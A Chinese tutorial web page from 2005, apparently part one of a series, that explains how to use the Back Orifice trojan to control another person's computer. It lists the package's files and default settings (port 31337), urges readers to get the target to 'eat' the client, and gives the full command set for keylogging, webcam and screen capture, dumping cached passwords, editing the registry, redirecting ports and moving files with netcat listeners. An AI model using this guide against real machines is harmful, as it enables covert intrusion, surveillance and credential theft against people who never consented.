庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>黑客编程>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

黑软应用之木马 上

 作者:本站收集   日期:2005-5-23
字号选择〖 〗/ 双击滚屏 单击停止   
  木马就是一个客户端/服务端的软件,通过服务端向客户端发信息来控制客户端的软件。此类软件的典型代表是:Back Orifice和Netspy。

   一、 Back Orifice

  Back Orifice软件包里包括

bo.txt 本文档
plugin.txt 插件编程文档
boserve.exe Back Orifice客户端自安装程序
bogui.exe Back Orifice图形服务端(如图1)
boclient.exe Back Orifice文本服务端
boconfig.exe 配置BO客户端程序文件名、端口、密码和插件的工具
melt.exe 对由freeze命令压缩的文档解压缩
freeze.exe 压缩文档。压缩文档可被metl命令解压缩



图1

   在安装客户端前,可以配置BO客户端程序的一些参数:如安装后的BO文件名、监听端口、加密密码,都可以使用boconfig.exe工具配置。如果不进行配置,缺省是监听31337端口、不使用加密密码(数据包仍然会加密)和以“ .exe”文件名安装。

  基于图形和文本的BO服务端都可以通过使用-p选项来设置BO客户机数据包的发送端口。如果数据包被过滤或者有防火墙屏蔽,就可能需要从一个特别的、不会被过滤和屏蔽的端口发送。如果UDP连接通讯不能成功,则可能是数据包在发送或回送路径中被过滤或者屏蔽了。

  总之,大家只要让对方"吃下"客户端就行了。

  Back Orifice命令(图形服务端命令/文本服务端)

App add/appadd 在TCP端口输出一个基于文本的应用程序。它允许你通过 Telnet对话控制基于文本或DOS的应用程序
App del/appdel 从监听的连接中关闭一个应用程序
Apps list/applist 列出当前监听的连接中的应用程序
Directory create/md 创建目录
Directory list/dir 列出文件和目录。如要显示多文件、目录则须使用通配符
Directory remove/rd 删除目录
Export add/shareadd 在BO客户端上创建一个"出口"(共享)。被输出的目 录或驱动器图标不会出现共享图标
Export delete/sharedel 删除一个(共享)"出口"
Exports list/sharelist 列出当前共享名、共享驱动器、共享目录、共享权限共享密码
File copy/copy 拷贝文件
File delete/del 删除文件
File find/find 在目录中查找符合条件(支持通配符)的文件
File freeze/freeze 压缩文件
File melt/melt 解压缩文件
File view/view 查看文件内容
HTTP Disable/httpoff 使HTTP客户端失效
HTTP Enable/httpon 使HTTP客户端有效
Keylog begin/keylog 将BO客户端上的击键记录在一个文本文件中,同时还 记录执行输入的窗口名
Keylog end/keylog stop 停止击键记录
MM Capture avi/capavi 从视频输入设备(如果存在)捕捉视频和音频信号到 avi文件中
MM Capture frame/capframe 从视频输入设备捕捉一个视频帧到一个位图文件中
MM Capture screen/capscreen 捕捉BO客户端屏幕影像到一们位图文件中
MM List capture devices/listcaps 列出视频输入设备
MM Play sound/sound 在BO客户端上播放一个avi文件
Net connections/netlist 列出当前接入和接出的连接
Net delete/netdisconnect 断开BO客户端的一个网络资源连接
Net use/netconnect 把BO客户端连接到一个网络资源
Net view/netview 查看BO客户端上所有的网络接口、域名、客户端和可见的共享"出口"
Ping host/ping Ping主机。返回主机名和BO版本
Plugin execute/pluginexec 运行BO插件。运行不符合BO插件接口的函数可能使客户端死机
Plugin kill/pluginkill 命令一个插件关闭
Plugins list/pluginlist 列出当前激活的插件和已存在的插件返回值
Process kill/prockill 终止一个进程
Process list/proclist 列出运行中的进程
Process spawn/procspawn 运行一个程序
Redir add/rediradd 重定向接入的TCP连接或UDP数据包到另一个IP地址
Redir del/redirdel 停止端口重定向
Redir list/redirlist 列出激活的端口重定向
Reg create key/regmakekey 注册表中创建中一个主键
Reg delete key/regdelkey 注册表中删除一个主键
Reg delete value/regdelval 删除注册表中的一个键值
Reg list keys/reglistkeys 列出注册表中一个主键下的子键
Reg list values/reglistvals 列出注册表中一个主键的键值
Reg set value/regsetval 设置注册表一个主键的一个键值。键值格式为"类型, 值"。对于二进制值(类型为B),值是一个两位的16进制数;对于DWORD(双字)值(类型为D),值是一个十进制数;对于字符串值(类型为S),值是一个文本串
Resolve host/resolve 解析BO客户端的主机名的IP地址
System dialogbox/dialog 用所给出的文本和一个"OK"按钮,在BO客户端上创建一个对话框。可以创建任意多的对话框,对话框的显示是堆叠式的
System info/info 显示BO客户端上的系统信息
System lockup/lockup 锁住BO客户端机器
System passwords/passes 显示被缓存的当前用户密码和屏幕保护密码
System reboot/reboot 关闭BO客户端主机并重启动
TCP file receive/tcprecv 将BO客户端主机连接到一个特定的IP地址和端口,并保存所接收到的数据到特定文件中
TCP file send/tcpsend 将BO客户端主机连接到一个特定的IP地址和端口,发送特定文件中的内容,然后断开此连接
netcat -l -p 666 > file 从BO客户端传输文件
netcat -l -p 666 < file 传输文件到BO客户端

上一篇:黑软应用之木马 下    下一篇:ASP编写完整的IP所在地搜索类 下  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-23
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿